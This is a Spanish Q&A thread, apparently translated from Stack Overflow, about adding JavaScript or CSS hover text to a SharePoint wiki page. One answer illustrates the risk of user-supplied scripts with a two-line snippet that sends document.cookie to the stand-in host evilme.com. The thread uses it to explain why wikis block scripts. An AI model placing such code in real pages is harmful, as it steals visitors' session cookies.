2008-09-17 9 views
5

¿Cómo puedo, como administrador del wiki, ingresar scripts (Javascript) en una página wiki de Sharepoint?

Me gustaría ingresar un título y, al hacer clic en eso, mostrar debajo de él una pequeña explicación. Por lo general, he hecho eso con javascript, ¿alguna otra idea?¿Cómo ingresar Javascript en una página wiki?

+1

¿Es usted el administrador del sitio wiki o de otra manera no sólo un usuario. – sblundy

+0

Eso lo cambia todo. Por favor, actualice su pregunta e incluya su plataforma wiki. – sblundy

+0

También puede etiquetar éste 'html' – Nate

Respuesta

4

Suponiendo que usted es el administrador de la wiki y está dispuesto a mostrar esto con el mouseover en lugar de hacer clic, no necesita javascript en absoluto, puede usar CSS directo. He aquí un ejemplo de los estilos y marcado:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" 
    "http://www.w3.org/TR/html4/strict.dtd"> 
<html> 
<head> 
    <title>Test</title> 
    <style type="text/css"> 
    h1 { padding-bottom: .5em; position: relative; } 
    h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; } 
    h1:hover span { display: block; } 
    </style> 
</head> 
<body> 
    <h1>Here is the title! 
    <span>Here is a little explanation</span> 
    </h1> 
    <p>Here is some page content</p> 
</body> 
</html> 

Con algunos estilos más complicados, el cuadro de información sobre herramientas puede mirar tan bonito como desee.

0

No debería poder agregar el código de javascript para ninguna wiki pública. Si lo está alojando usted mismo, debe solicitar un sistema wiki específico para que alguien pueda ayudarlo a modificar la configuración, si es posible para ese sistema.

0

Si está hablando de usar Javascript como parte de una página web en este sitio, no puede. O cualquier otra wiki pública para ese asunto, es un riesgo de seguridad.

Si está hablando de publicar una muestra de código, haga clic en el botón '101010' que se encuentra sobre el cuadro de texto.

0

Por supuesto, dependerá del motor wiki con el que esté hablando. Sin embargo, lo más probable es que, como dice sblundy, sería un riesgo de seguridad permitir el uso gratuito de javascript en la página wiki.

1

Depende completamente del software Wiki específico que esté utilizando. La forma en que he visto funcionar es alojar un archivo js en otro lugar y luego incluirlo con una etiqueta de script con un atributo src.

Si no lo permiten, tal vez permitan un IFRAME que puede establecer en una página que incluya el script. Usando la segunda técnica, no se te permitirá acceder al DOM de la página del host.

0

Agregue title="text here" a cualquier etiqueta y debería mostrar un texto cuando se coloca sobre ella.
Internet Explorer muestra el texto cuando usa el atributo alt="text here", aunque eso no es de acuerdo con los estándares.

He probado ahora, y puede agregar <h2 title="some explanation here">headline</h2> a cualquier sistema basado en wikimedia (el que usa Wikipedia).

9

Si los autores de la wiki son sabios, probablemente no haya forma de hacerlo.

El problema con el JavaScript contribuido por el usuario es que abre la puerta a todas las formas de malhechores para tomar datos de los desprevenidos.

Supongamos que el mal-me Mensajes una secuencia de comandos en un sitio web público:

i = new Image(); 
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie; 

Ahora voy a recibir la información de las cookies de cada visitante a la página, publicado en un registro en mi servidor. Y eso es solo la punta del iceberg.

1

Me gusta la respuesta CSS. Cuando puede usar CSS en lugar de Javascript, el resultado es un marcado más simple.
Otra cosa a mirar es el Kit de Comunidad para SharePoint mejorada Wiki Edición en CodePlex. Puede descargar el código fuente y agregar sus propias características. O puede sugerir esto como una nueva función en el foro.

Cuestiones relacionadas